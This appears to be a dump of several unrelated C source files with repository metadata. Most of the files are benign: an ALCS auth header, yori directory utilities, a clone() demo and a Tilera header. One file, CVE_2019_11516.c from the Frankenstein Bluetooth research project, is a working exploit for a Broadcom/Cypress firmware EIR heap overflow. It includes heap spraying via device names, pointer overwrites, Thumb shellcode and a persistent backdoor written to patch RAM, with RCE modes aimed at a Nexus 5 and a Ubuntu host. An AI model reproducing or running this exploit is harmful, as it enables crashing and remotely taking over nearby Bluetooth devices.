int alcs_auth_init(CoAPContext *context, const char *productKey, const char *deviceName, char role);
void alcs_auth_subdev_init(CoAPContext *ctx, const char *productKey, const char *deviceName);
void alcs_auth_deinit(void);
bool alcs_is_auth(CoAPContext *ctx, AlcsDeviceKey *devKey);
int alcs_sendmsg_secure(CoAPContext *ctx, AlcsDeviceKey *devKey, CoAPMessage *message, char observe,
CoAPSendMsgHandler handler);
int alcs_sendrsp_secure(CoAPContext *ctx, AlcsDeviceKey *devKey, CoAPMessage *message, char observe,
unsigned short msgid, CoAPLenString *token);
#ifdef ALCS_CLIENT_ENABLED
/* 身份认证-- 直接传入accesskey&accesstoken
* context: 当前设备生成的CoAPContext对象指针
* addr: 待连设备地址
* auth_param:包含待连设备的信息和回调接口
*/
void alcs_auth_has_key(CoAPContext *ctx, NetworkAddr *addr, AuthParam *auth_param);
/* 身份认证--通过productkey&devicename在缓存的accesskey列表中查找合适accesskey
* 此函数需要和alcs_add_client_key 配合使用
* 若不知道准确的accessKey,认证前client会和server协商合适的accessKey
*
* context: 为当前设备生成的CoAPContext对象指针
* addr: 待连设备地址
* productKey:待连设备的productKey
* deviceName:待连设备的deviceName
* handler: 结果回调接口
*/
void alcs_auth_nego_key(CoAPContext *ctx, AlcsDeviceKey *devKey, AuthHandler handler);
/*
*
*
*/
int alcs_add_client_key(CoAPContext *context, const char *accesskey, const char *accesstoken, const char *productKey,
const char *deviceName);
int alcs_remove_client_key(CoAPContext *context, const char *key, char isfullkey);
/*
*
*
*/
bool alcs_device_online(CoAPContext *context, AlcsDeviceKey *devKey);
#endif
#ifdef ALCS_SERVER_ENABLED
typedef enum {
LOCALDEFAULT,
LOCALSETUP,
FROMCLOUDSVR
} ServerKeyPriority;
int alcs_add_svr_key(CoAPContext *context, const char *keyprefix, const char *secret, ServerKeyPriority priority);
int alcs_remove_svr_key(CoAPContext *context, const char *keyprefix);
/* 设置吊销列表*
* context: 为当前设备生成的CoAPContext对象指针
* seqlist: 吊销列表字符串,每个被吊销设备占用三字节
*/
int alcs_set_revocation(CoAPContext *context, const char *seqlist);
#endif
int alcs_add_ctl_group(CoAPContext *context, const char *groupid, const char *accesskey, const char *accesstoken);
int alcs_remove_ctl_group(CoAPContext *context, const char *groupid);
int alcs_add_svr_group(CoAPContext *context, const char *groupid, const char *keyprefix, const char *secret);
int alcs_remove_svr_group(CoAPContext *context, const char *groupid);
#ifdef __cplusplus
}
#endif /* __cplusplus */
#endif
|
a9c0abb360d8d82315954b02e79a354ba215e944
|
b01b4365ab6c9afeb6664563dd314df4f269014f
|
/sdir/utils.c
|
02476fe6b88b25d69bfd6c6c2aebc317aae0a293
|
[
"MIT"
] |
permissive
|
malxau/yori
|
6208011ca60485cfbf141c7639e9f941a160e002
|
027f9b42c08cc5fcc682ecb7fb67e6de5363b8de
|
refs/heads/master
| 2023-09-01T13:11:19.083028
| 2023-08-28T00:00:02
| 2023-08-28T00:00:02
| 127,679,677
| 1,234
| 31
|
MIT
| 2023-04-23T04:54:56
| 2018-04-01T23:29:17
|
C
|
UTF-8
|
C
| false
| false
| 11,724
|
c
|
utils.c
|
/**
* @file sdir/utils.c
*
* Colorful, sorted and optionally rich directory enumeration
* for Windows.
*
* This module contains helper functions that can be used in a variety of
* situations.
*
* Copyright (c) 2014-2018 Malcolm J. Smith
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
#include "sdir.h"
//
// These are general helper routines to assist in converting strings into
// something we can use directly.
//
/**
Parse a NULL terminated string and return a 32 bit unsigned integer from
the result. This function can parse prefixed hex or decimal inputs, and
indicates the end of the string that it processed (meaning, the first non
numeric character in the string.)
@param str Pointer to the string to parse.
@param endptr Optionally points to a value to receive a pointer to the first
non-numeric character in the string.
@return The parsed, 32 bit unsigned integer value from the string.
*/
DWORD
SdirStringToNum32(
__in LPCTSTR str,
__out_opt LPCTSTR* endptr
)
{
DWORD ret = 0;
if (str[0] == '0' && str[1] == 'x') {
str += 2;
while ((*str >= '0' && *str <= '9') || (*str >= 'a' && *str <= 'f') || (*str >= 'A' && *str <= 'F')) {
ret *= 16;
if (*str >= '0' && *str <= '9') {
ret += *str - '0';
} else if (*str >= 'a' && *str <= 'f') {
ret += *str - 'a' + 10;
} else if (*str >= 'A' && *str <= 'F') {
ret += *str - 'A' + 10;
}
str++;
}
} else {
while (*str >= '0' && *str <= '9') {
ret *= 10;
ret += *str - '0';
str++;
}
}
if (endptr) {
*endptr = str;
}
return ret;
}
//
// Formatting support. Generic routines used across different types of data.
//
/**
Populate a file size value into a string of formatted characters. This
function will apply any file size suffixes to the string as needed. It
will only write 6 chars to Buffer (space, 4 chars of number possibly
including a decimal point, and suffix.)
@param Buffer The buffer to populate with the file size.
@param Attributes The color attributes to apply to the resulting file size.
@param GenericSize Pointer to the file size as a number.
@return The number of characters written to the buffer (6.)
*/
ULONG
SdirDisplayGenericSize(
__out_ecount(6) PSDIR_FMTCHAR Buffer,
__in YORILIB_COLOR_ATTRIBUTES Attributes,
__in PLARGE_INTEGER GenericSize
)
{
TCHAR StrSize[10];
YORI_STRING YsSize;
if (Buffer) {
YoriLibInitEmptyString(&YsSize);
YsSize.StartOfString = &StrSize[1];
YsSize.LengthAllocated = sizeof(StrSize)/sizeof(StrSize[0]) - 1;
YoriLibFileSizeToString(&YsSize, GenericSize);
ASSERT(YsSize.LengthInChars == 5);
StrSize[0] = ' ';
SdirPasteStr(Buffer, StrSize, Attributes, 6);
}
return 6;
}
/**
Populate a generic 64 bit number into a string using formatted hex
characters. It will only write 18 chars to Buffer (space, 8 chars of hex,
seperator, 8 chars of hex.)
@param Buffer The buffer to populate with the hex string.
@param Attributes The color attributes to apply to the resulting string.
@param Hex Pointer to the input value as a number.
@return The number of characters written to the buffer (18.)
*/
ULONG
SdirDisplayHex64 (
__out_ecount(18) PSDIR_FMTCHAR Buffer,
__in YORILIB_COLOR_ATTRIBUTES Attributes,
__in PLARGE_INTEGER Hex
)
{
TCHAR Str[19];
if (Buffer) {
YoriLibSPrintfS(Str, sizeof(Str)/sizeof(Str[0]), _T(" %08x`%08x"), (int)Hex->HighPart, (int)Hex->LowPart);
SdirPasteStr(Buffer, Str, Attributes, 18);
}
return 18;
}
/**
Populate a generic 32 bit number into a string using formatted hex
characters. It will only write 9 chars to Buffer (space, 8 chars of hex.)
@param Buffer The buffer to populate with the hex string.
@param Attributes The color attributes to apply to the resulting string.
@param Hex Pointer to the input value as a number.
@return The number of characters written to the buffer (9.)
*/
ULONG
SdirDisplayHex32 (
__out_ecount(9) PSDIR_FMTCHAR Buffer,
__in YORILIB_COLOR_ATTRIBUTES Attributes,
__in DWORD Hex
)
{
TCHAR Str[10];
if (Buffer) {
YoriLibSPrintfS(Str, sizeof(Str)/sizeof(Str[0]), _T(" %08x"), (int)Hex);
SdirPasteStr(Buffer, Str, Attributes, 9);
}
return 9;
}
/**
Populate a generic buffer into a string using formatted hex characters.
It will write two formatted chars per char in the input buffer, plus a
space.
@param Buffer The buffer to populate with the hex string.
@param Attributes The color attributes to apply to the resulting string.
@param InputBuffer Pointer to the buffer containing chars to encode into
hex. Note this is always an 8 bit string.
@param Size The number of bytes in InputBuffer to encode into Buffer.
@return The number of characters written to the buffer.
*/
ULONG
SdirDisplayGenericHexBuffer (
__out_ecount(Size * 2 + 1) PSDIR_FMTCHAR Buffer,
__in YORILIB_COLOR_ATTRIBUTES Attributes,
__in PUCHAR InputBuffer,
__in DWORD Size
)
{
TCHAR Str[3];
DWORD Offset;
if (Buffer) {
SdirPasteStr(Buffer, _T(" "), Attributes, 1);
for (Offset = 0; Offset < Size; Offset++) {
YoriLibSPrintfS(Str, sizeof(Str)/sizeof(Str[0]), _T("%02x"), InputBuffer[Offset]);
SdirPasteStr(Buffer + 1 + 2 * Offset, Str, Attributes, 2);
}
}
return Size * 2 + 1;
}
/**
Populate a date into a formatted string. It will write 11 formatted chars
into the buffer (space, 4 chars for year, seperator, 2 chars for month,
seperator, 2 chars for day.)
@param Buffer The buffer to populate with the date string.
@param Attributes The color attributes to apply to the resulting string.
@param Time Pointer to the timestamp specifying the date. Note only the
date components are consumed, time values are ignored.
@return The number of characters written to the buffer (11.)
*/
ULONG
SdirDisplayFileDate (
__out_ecount(11) PSDIR_FMTCHAR Buffer,
__in YORILIB_COLOR_ATTRIBUTES Attributes,
__in SYSTEMTIME * Time
)
{
TCHAR StrDate[16];
if (Buffer) {
YoriLibSPrintfS(StrDate,
sizeof(StrDate)/sizeof(StrDate[0]),
_T(" %04i/%02i/%02i"),
Time->wYear,
Time->wMonth,
Time->wDay);
SdirPasteStr(Buffer, StrDate, Attributes, 11);
}
return 11;
}
/**
Populate a time into a formatted string. It will write 9 formatted chars
into the buffer (space, 2 chars for hour, seperator, 2 chars for min,
seperator, 2 chars for second.)
@param Buffer The buffer to populate with the time string.
@param Attributes The color attributes to apply to the resulting string.
@param Time Pointer to the timestamp specifying the time. Note only the
time components are consumed, date values are ignored.
@return The number of characters written to the buffer (9.)
*/
ULONG
SdirDisplayFileTime (
__out_ecount(9) PSDIR_FMTCHAR Buffer,
__in YORILIB_COLOR_ATTRIBUTES Attributes,
__in SYSTEMTIME * Time
)
{
TCHAR StrTime[10];
if (Buffer) {
YoriLibSPrintfS(StrTime,
sizeof(StrTime)/sizeof(StrTime[0]),
_T(" %02i:%02i:%02i"),
Time->wHour,
Time->wMinute,
Time->wSecond);
SdirPasteStr(Buffer, StrTime, Attributes, 9);
}
return 9;
}
/**
Multiply a 64 bit value by a 32 bit value which consists of only a single
set bit (ie., power of two.) This is done to allow limited 64 bit math
in environments that don't natively support 64 bit math by using bit
shift operations.
@param OriginalValue The value to multiply.
@param MultiplyBy A value to multiply by, which must consist of a power of
two value.
@return The resulting multiplied value.
*/
LARGE_INTEGER
SdirMultiplyViaShift(
__in LARGE_INTEGER OriginalValue,
__in DWORD MultiplyBy
)
{
DWORD ShiftCount = 0;
DWORD ShiftedMultiplyBy = MultiplyBy;
LARGE_INTEGER ReturnValue;
if (MultiplyBy == 0) {
ReturnValue.HighPart = 0;
ReturnValue.LowPart = 0;
return ReturnValue;
}
while ((ShiftedMultiplyBy & 1) == 0) {
ShiftedMultiplyBy = ShiftedMultiplyBy >> 1;
ShiftCount++;
}
ReturnValue.HighPart = OriginalValue.HighPart << ShiftCount;
if (ShiftCount > 0) {
ReturnValue.HighPart += OriginalValue.LowPart >> (32 - ShiftCount);
}
ReturnValue.LowPart = OriginalValue.LowPart << ShiftCount;
return ReturnValue;
}
/**
Update summary information for free and total disk space from a path using
GetDiskFreeSpace. This is a fallback path when GetDiskFreeSpaceEx is not
available. Because GetDiskFreeSpace relies on the caller doing 64 bit math,
this is emulated using @ref SdirMultiplyViaShift .
@param Path Pointer to a string specifying the path to query free disk space
for.
@param LocalSummary Pointer to the summary information to update with free
disk space information.
@return TRUE to indicate success, FALSE to indicate failure.
*/
BOOL
SdirPopulateSummaryWithGetDiskFreeSpace(
__in LPTSTR Path,
__inout PSDIR_SUMMARY LocalSummary
)
{
LARGE_INTEGER Temp;
ULONG BytesPerSector;
ULONG SectorsPerCluster;
ULONG FreeClusters;
ULONG TotalClusters;
//
// This path requires 64 bit multiplication which is emulated using
// shifts since we can't rely on CRT support for it.
//
if (GetDiskFreeSpace(Path, &SectorsPerCluster, &BytesPerSector, &FreeClusters, &TotalClusters)) {
Temp.HighPart = 0;
Temp.LowPart = TotalClusters;
LocalSummary->VolumeSize = SdirMultiplyViaShift(SdirMultiplyViaShift(Temp, SectorsPerCluster), BytesPerSector);
Temp.HighPart = 0;
Temp.LowPart = FreeClusters;
LocalSummary->FreeSize = SdirMultiplyViaShift(SdirMultiplyViaShift(Temp, SectorsPerCluster), BytesPerSector);
return TRUE;
}
return FALSE;
}
// vim:sw=4:ts=4:et:
|
3fa3be77321d575e1093d9e172cd904d69a2d5dc
|
61c4b7973dc50c0c2481c745436ff39a8600ff1c
|
/2018/clone/clone-vm-sample.c
|
3827f1981cd1a74b64a4dc36c0e8ef6fe73e3ce6
|
[
"Unlicense",
"LicenseRef-scancode-public-domain"
] |
permissive
|
eliben/code-for-blog
|
ff1a0b3a495db2c57bfeb431107767bb728b9417
|
94e36f22017424b5e372c5f362e0dde0f21b7fd3
|
refs/heads/master
| 2023-09-01T17:57:08.074883
| 2023-08-28T13:13:26
| 2023-08-28T13:13:26
| 23,960,698
| 1,482
| 1,019
|
Unlicense
| 2023-07-06T13:58:51
| 2014-09-12T12:59:05
|
Python
|
UTF-8
|
C
| false
| false
| 1,216
|
c
|
clone-vm-sample.c
|
// We have to define the _GNU_SOURCE to get access to clone(2) and the CLONE_*
// flags from sched.h
//
// Eli Bendersky [http://eli.thegreenplace.net]
// This code is in the public domain.
#define _GNU_SOURCE
#include <sched.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
static int child_func(void* arg) {
char* buf = (char*)arg;
printf("Child sees buf = \"%s\"\n", buf);
strcpy(buf, "hello from child");
return 0;
}
int main(int argc, char** argv) {
// Allocate stack for child task.
const int STACK_SIZE = 65536;
char* stack = malloc(STACK_SIZE);
if (!stack) {
perror("malloc");
exit(1);
}
// When called with the command-line argument "vm", set the CLONE_VM flag on.
unsigned long flags = 0;
if (argc > 1 && !strcmp(argv[1], "vm")) {
flags |= CLONE_VM;
}
char buf[100];
strcpy(buf, "hello from parent");
if (clone(child_func, stack + STACK_SIZE, flags | SIGCHLD, buf) == -1) {
perror("clone");
exit(1);
}
int status;
if (wait(&status) == -1) {
perror("wait");
exit(1);
}
printf("Child exited with status %d. buf = \"%s\"\n", status, buf);
return 0;
}
|
866800927437197de32c748b67450147e82820fb
|
9c53eabf6e8fc1223124e0da8e8d2c051609f451
|
/projects/CYW20735B1/patch/CVE_2019_11516.c
|
118001051e73e85e3213bddcc8e78b1ba8ba5815
|
[
"Apache-2.0"
] |
permissive
|
seemoo-lab/frankenstein
|
7ce8d095b293d0934963517fe1240a1c58699b2e
|
b5053b5a1ebdd139644071c46e33053aa860672f
|
refs/heads/master
| 2023-08-02T10:27:27.474008
| 2022-05-13T00:38:02
| 2022-05-13T00:38:02
| 254,191,670
| 410
| 62
|
Apache-2.0
| 2022-12-20T20:09:57
| 2020-04-08T20:19:06
|
C
|
UTF-8
|
C
| false
| false
| 11,918
|
c
|
CVE_2019_11516.c
|
#include <string.h>
#include <stdlib.h>
#include <frankenstein/BCMBT/patching/patchram.h>
#include <frankenstein/BCMBT/patching/hciio.h>
#include <frankenstein/hook.h>
/****************************************
Definitions from firmware
****************************************/
extern char rm_deviceLocalName[];
extern char rm_deviceInfo[];
void dynamic_memory_Release(void *);
void *dynamic_memory_AllocateOrDie(int size);
int DHM_LMPTx(int id, void *buff);
void rm_setLocalBdAddr(char [6]);
void bcs_dmaTxEnableEir(void *, void *);
void bthci_cmd_lc_HandleCreate_Connection(char *);
void bthci_cmd_lc_HandleDisconnect(char *);
void patch_installPatchEntry(uint32_t addr, void *data_ptr, uint32_t slot);
void lm_HandleLmpHostConnReqAccepted(void *);
/****************************************
Local defs
****************************************/
char *disconnect_cmd = NULL;
int disconnect_allowed = 1; // wait until local name has been written
int disconnected = 1; // wait until local name has been written
void eir_heap_bof_trigger(struct saved_regs *regs, void *arg);
void connect_hook(struct saved_regs *regs, void *arg);
void disconnect_hook(struct saved_regs *regs, void *arg);
void disallow_connect(struct saved_regs *regs, void *arg);
void DHM_LMPTx_hook(struct saved_regs *regs, void *arg);
void DHM_LMPTx_filter(struct saved_regs *regs, void *arg);
void do_disconnect();
/****************************************
Set the desired mode
****************************************/
#define crash_only
//#define bcm4335c0_rce
//#define cyw920735q60evb01_rce
/****************************************
Payload Definitions
****************************************/
//ldr lr, [pc+4)
//ldr pc, [pc)
//.word 0xdead1337
#define shellcode "\xdf\xf8\x04\xe0\xdf\xf8\x00\xf0\x37\x13\xad\xde"
//write what where definitions
#if defined( crash_only )
//Crash the device by writing to invalid address
#define write_where 0xdeadbeef
struct eval_board_payload {
char dummy;
} write_what = {};
#endif
#if defined( bcm4335c0_rce )
//Nexus 5 RCE by overwriting the connect patch in RAM at 0xd26f8
#define write_where (0xd26f8-104)
/*
[*] BLOC[2] @ 0x205E28: 264 10 / 10 2680 @ 0x217CE4
[*] Buffer : Header Status
[*] -------------------------------
[*] 0x217ce4 : 0x217df0 Free / List Head
[*] 0x217df0 : 0x0d2683 Corrupted
[*] 0x217efc : 0x01f020 Corrupted
[*] 0x218008 : 0xd7b00000 Corrupted
[*] 0x218114 : 0x21ce7cff Corrupted
[*] 0x218220 : 0x21832c Free
[*] 0x21832c : 0x218438 Free
[*] 0x218438 : 0x218544 Free
[*] 0x218544 : 0x218650 Free
[*] 0x218650 : 0x000000 Free
*/
/*
ldr r0,=0xd266c
ldr r1,=0x4770bf00
str r1, [r0]
*/
/*
=== Repair Heap ===
=== Return To Handler in ROM ===
=== Install Backdoor ===
sub sp, #4
push {r0-r4}
ldr r0,=0x5853d
str r0, [sp,#20]
ldr r0,=0xd2680
ldr r1,=0x15a000
ldr r3, [r0]
cmp r3,#0
beq done
cmp r3,r1
beq done
str r1, [r0]
ldr r0,=0x205e38
ldr r1,=0x218220
str r1, [r0]
ldr r0, =0x205fcc
ldr r1, =0xd2691
str r1, [r0]
ldr r0, =0xd266c
ldr r1, =0xf000f8df
str r1, [r0]
ldr r0, =0xd2670
ldr r1, =0x6166d
str r1, [r0]
done:
pop {r0-r4,pc}
=== Backdoor ===
=== Write ptr to 0x205fcc (ACL Rx Hdr Done Callback) ===
ldr r0,=0x200e80
ldr r0, [r0]
add r0, #12
ldr r1, [r0]
ldr r2,=0xdeadc0de
cmp r1, r2
bne skip
add r0, #5
bx r0
skip:
eor r0, r0
bx lr
*/
#undef shellcode
#define backdoor "\x06\x48\x00\x68\x00\xf1\x0c\x00\x01\x68\x05\x4a\x91\x42\x02\xd1\x00\xf1\x05\x00\x00\x47\x80\xea\x00\x00\x70\x47\x80\x0e\x20\x00\xde\xc0\xad\xde"
//#define shellcode "\x81\xb0\x1f\xb4\x06\x48\x05\x90\x06\x48\x07\x49\x03\x68\x00\x2b\x05\xd0\x8b\x42\x03\xd0\x01\x60\x04\x48\x05\x49\x01\x60\x1f\xbd\x3d\x85\x05\x00\x80\x26\x0d\x00\x00\xa0\x15\x00\x38\x5e\x20\x00\x20\x82\x21\x00"
#define shellcode "\x81\xb0\x1f\xb4\x0b\x48\x05\x90\x0b\x48\x0c\x49\x03\x68\x00\x2b\x0e\xd0\x8b\x42\x0c\xd0\x01\x60\x09\x48\x0a\x49\x01\x60\x0a\x48\x0a\x49\x01\x60\x0a\x48\x0b\x49\x01\x60\x0b\x48\x0b\x49\x01\x60\x1f\xbd\x00\xbf\x3d\x85\x05\x00\x80\x26\x0d\x00\x00\xa0\x15\x00\x38\x5e\x20\x00\x20\x82\x21\x00\xcc\x5f\x20\x00\x91\x26\x0d\x00\x6c\x26\x0d\x00\xdf\xf8\x00\xf0\x70\x26\x0d\x00\x6d\x16\x06\x00"
struct eval_board_payload {
char padding[104];
char scode[134];
} write_what = {.padding=backdoor, .scode=shellcode};
#endif
#if defined(cyw920735q60evb01_rce)
//CYW920735Q60EVB-01 RCE for Ubuntu 18.04
//Overwriting virtual_functions table at 0x205944
#define write_where 0x205944
struct eval_board_payload {
char scode[0x58];
int func_ptrs[38]; //spray the rest of the buffer with our target pointers
} write_what = {.scode=shellcode, .func_ptrs={
write_where|1, write_where|1, write_where|1, write_where|1,
write_where|1, write_where|1, write_where|1, write_where|1,
write_where|1, write_where|1, write_where|1, write_where|1,
write_where|1, write_where|1, write_where|1, write_where|1,
write_where|1, write_where|1, write_where|1, write_where|1,
write_where|1, write_where|1, write_where|1, write_where|1,
write_where|1, write_where|1, write_where|1, write_where|1,
write_where|1, write_where|1, write_where|1, write_where|1,
write_where|1, write_where|1, write_where|1, write_where|1,
write_where|1, write_where|1 }};
#endif
void dummy() {return;}
int ret0() {return 0;}
/****************************************
Trigger the heap overflow
This function will be called before bcs_dmaTxEnableEir
****************************************/
void eir_heap_bof_trigger(struct saved_regs *regs, void *arg) {
int len = 0x4e0; //Set the RFU bit in length, trigger Overflow
*(int*)0x318ad0 = (len << 3) | 2; //Set payload header for EIR packet
//0x318ad0 is tx_pkt_pyld_hdr
//Set packet type to DM5 in packet header
//0x318acc is tx_pkt_info
*(int*)0x318acc &= ~(0xf << 3);
*(int*)0x318acc |= (0b1110 << 3);
//Set the EIR packet payload
unsigned char *eir = (char *)regs->r0;
#if defined(cyw920735q60evb01_rce)
//Ubuntu will reenter scan periodically, what will cause buffers to be allocated
//To prevent this, we sent broken EIR packets from multiple source addresses
//This will cause Ubuntu to do a Remote Name request for every address,
//and therefore prevets it to reenter the scan mode
srand(*((int *)0x32a004) ^ rand()); //increase entropy using timer1value
*(int*)0x318038 = rand(); //bt address
for (unsigned char i=0; i < 0xf0; i++) eir[i] = 42;
#else
//Use pattern to crash device
#if defined( crash_only )
for (unsigned char i=0; i < 0xf0; i++) eir[i] = i;
#endif
//Include Name field
eir[0] = 5;
eir[1] = 9;
eir[2] = 'E';
eir[3] = 'v';
eir[4] = 'a';
eir[5] = 'l';
//Dummy field
eir[6] = 222; //padding
eir[7] = 0xff;
#endif
//Overflow Heap Chunk next pointer
//The exact offset might varry from device to device
//We also take the 4 byte heap chunk header and 9 byte HCI header into account
( *(int *)&eir[0x73]) = write_where-9-4;
( *(int *)&eir[0x77]) = write_where-9-4;
( *(int *)&eir[0x7b]) = write_where-9-4;
( *(int *)&eir[0x7f]) = write_where-9-4;
}
/****************************************
Heap spraying
We trigger a "Read Remote Name" event in order to allocate buffer
The device name will contain our payload
****************************************/
void connect_hook(struct saved_regs *regs, void *arg) {
if (!disconnected) do_disconnect();
//randomize source address
srand(*((int *)0x32a004) ^ rand()); //Increase entropy using timer1value
int addr[2];
addr[0] = rand();
addr[1] = rand();
rm_setLocalBdAddr((char *)addr);
#if defined(samsung_s10)
memcpy(write_what, shellcode, sizeof(shellcode));
for (int i=sizeof(shellcode); i<sizeof(write_what); i += 4)
*(int*)(write_what + i) = write_where | 1;
#endif
//set payload in local name
for (unsigned char i = 0; i < 0xf0; i++) rm_deviceLocalName[i] = i;
memcpy(rm_deviceLocalName, &write_what, sizeof(write_what));
rm_deviceInfo[0x23] = 0xf0; //Set Name length
disconnected = 0;
print("connect\n");
}
/****************************************
Delay disconnect until we have sent our name
Disconnect is triggered if the last packet should be sent
Or if something goes wrong
This is not needed to crash the deivce
****************************************/
void disconnect_hook(struct saved_regs *regs, void *arg) {
if (!disconnect_allowed) {
regs->pc = (uint32_t)&dummy;
disconnect_cmd = dynamic_memory_AllocateOrDie(6);
memcpy(disconnect_cmd, (void *)regs->r0, 6);
}
}
void disallow_connect(struct saved_regs *regs, void *arg) {
disconnect_allowed = 0;
}
void do_disconnect() {
if (disconnect_allowed) return;
print("disconnect\n");
disconnect_allowed = 1;
bthci_cmd_lc_HandleDisconnect(disconnect_cmd);
}
void DHM_LMPTx_hook(struct saved_regs *regs, void *arg) {
char *lmp_payload = (char *)(regs->r1 + 12);
int opcode = lmp_payload[0] >> 1;
int offset = lmp_payload[1];
int len = lmp_payload[2];
//WICED_BT_TRACE("lmp %d %d %d\n", lmp_payload[0]>>1,lmp_payload[1],lmp_payload[2]);
//discard last name response and do disconnect
//if ((opcode == 2 && offset + 14 >= len) || opcode==1 || opcode == 7) {
if ((opcode == 2 && offset + 14 >= len) || opcode == 7) {
print("trigger disconnect\n");
do_disconnect();
disconnected = 1;
}
//Dont notify Slave on disconnect
if (disconnected) {
print("discard packet\n");
regs->pc = (uint32_t)&dummy;
//lm_LmpBBAcked(regs->r1);
dynamic_memory_Release((void *)regs->r1);
}
}
void DHM_LMPTx_filter(struct saved_regs *regs, void *arg) {
char *lmp_payload = (char *)(regs->r1 + 12);
int opcode = lmp_payload[0] >> 1;
int offset = lmp_payload[1];
int len = lmp_payload[2];
//discard last name response and do disconnect
if ((opcode == 2 && offset + 14 >= len) || opcode==1 || opcode == 7) {
print("discard packet\n");
regs->pc = (uint32_t)&dummy;
//lm_LmpBBAcked(regs->r1);
dynamic_memory_Release((void *)regs->r1);
}
}
/****************************************
Setup the exploit
****************************************/
int exploit_setup_done = 0;
void _start() {
if (exploit_setup_done) return;
exploit_setup_done = 1;
//Set hook for EIR packets to trigger heap Bof
add_hook(bcs_dmaTxEnableEir, eir_heap_bof_trigger, NULL, NULL);
//Randomize Bluetooth Address for each connection attempt
//This is needed so a "Read Remote Name" request is triggered each time
add_hook(bthci_cmd_lc_HandleCreate_Connection, connect_hook, NULL, NULL);
//If we only want to crash, we do not need to delay the disconnect
//This speeds up the spray speed
add_hook(DHM_LMPTx, DHM_LMPTx_hook, NULL, NULL);
//add_hook(DHM_LMPTx, DHM_LMPTx_filter, NULL, NULL);
//Delay dísconnect
add_hook(bthci_cmd_lc_HandleDisconnect, disconnect_hook, NULL, NULL);
add_hook(lm_HandleLmpHostConnReqAccepted, disallow_connect, NULL, NULL);
}
|
a53dcdea297fa019e3f1f442a1219a44da81f0af
|
7eaf54a78c9e2117247cb2ab6d3a0c20719ba700
|
/SOFTWARE/A64-TERES/linux-a64/arch/tile/include/gxio/iorpc_mpipe_info.h
|
0bcf3f71ce8be0150237efde998b1ac8998b9512
|
[
"Linux-syscall-note",
"GPL-2.0-only",
"GPL-1.0-or-later",
"LicenseRef-scancode-free-unknown",
"Apache-2.0"
] |
permissive
|
OLIMEX/DIY-LAPTOP
|
ae82f4ee79c641d9aee444db9a75f3f6709afa92
|
a3fafd1309135650bab27f5eafc0c32bc3ca74ee
|
refs/heads/rel3
| 2023-08-04T01:54:19.483792
| 2023-04-03T07:18:12
| 2023-04-03T07:18:12
| 80,094,055
| 507
| 92
|
Apache-2.0
| 2023-04-03T07:05:59
| 2017-01-26T07:25:50
|
C
|
UTF-8
|
C
| false
| false
| 1,596
|
h
|
iorpc_mpipe_info.h
|
/*
* Copyright 2012 Tilera Corporation. All Rights Reserved.
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation, version 2.
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE, GOOD TITLE or
* NON INFRINGEMENT. See the GNU General Public License for
* more details.
*/
/* This file is machine-generated; DO NOT EDIT! */
#ifndef __GXIO_MPIPE_INFO_LINUX_RPC_H__
#define __GXIO_MPIPE_INFO_LINUX_RPC_H__
#include <hv/iorpc.h>
#include <hv/drv_mpipe_intf.h>
#include <asm/page.h>
#include <gxio/kiorpc.h>
#include <gxio/mpipe.h>
#include <linux/string.h>
#include <linux/module.h>
#include <asm/pgtable.h>
#define GXIO_MPIPE_INFO_OP_ENUMERATE_AUX IORPC_OPCODE(IORPC_FORMAT_NONE, 0x1251)
#define GXIO_MPIPE_INFO_OP_GET_MMIO_BASE IORPC_OPCODE(IORPC_FORMAT_NONE_NOUSER, 0x8000)
#define GXIO_MPIPE_INFO_OP_CHECK_MMIO_OFFSET IORPC_OPCODE(IORPC_FORMAT_NONE_NOUSER, 0x8001)
int gxio_mpipe_info_enumerate_aux(gxio_mpipe_info_context_t * context,
unsigned int idx,
_gxio_mpipe_link_name_t * name,
_gxio_mpipe_link_mac_t * mac);
int gxio_mpipe_info_get_mmio_base(gxio_mpipe_info_context_t * context,
HV_PTE *base);
int gxio_mpipe_info_check_mmio_offset(gxio_mpipe_info_context_t * context,
unsigned long offset, unsigned long size);
#endif /* !__GXIO_MPIPE_INFO_LINUX_RPC_H__ */
|
a9c53cf354301dbe5fb1e9078ba12b0015460716
|
99bdb3251fecee538e0630f15f6574054dfc1468
|
/bsp/hc32l136/Libraries/HC32L136_StdPeriph_Driver/src/bt.c
|
ea4014e088ab344e469e96cb8e2c7f478b213368
|
[
"Apache-2.0",
"Zlib",
"LicenseRef-scancode-proprietary-license",
"MIT",
"BSD-3-Clause",
"X11",
"BSD-4-Clause-UC",
"LicenseRef-scancode-unknown-license-reference"
] |
permissive
|
RT-Thread/rt-thread
|
03a7c52c2aeb1b06a544143b0e803d72f47d1ece
|
3602f891211904a27dcbd51e5ba72fefce7326b2
|
refs/heads/master
| 2023-09-01T04:10:20.295801
| 2023-08-31T16:20:55
| 2023-08-31T16:20:55
| 7,408,108
| 9,599
| 5,805
|
Apache-2.0
| 2023-09-14T13:37:26
| 2013-01-02T14:49:21
|
C
|
UTF-8
|
C
| false
| false
| 55,808
|
c
|
bt.c
|
/******************************************************************************
*Copyright(C)2018, Huada Semiconductor Co.,Ltd All rights reserved.
*
* This software is owned and published by:
* Huada Semiconductor Co.,Ltd("HDSC").
*
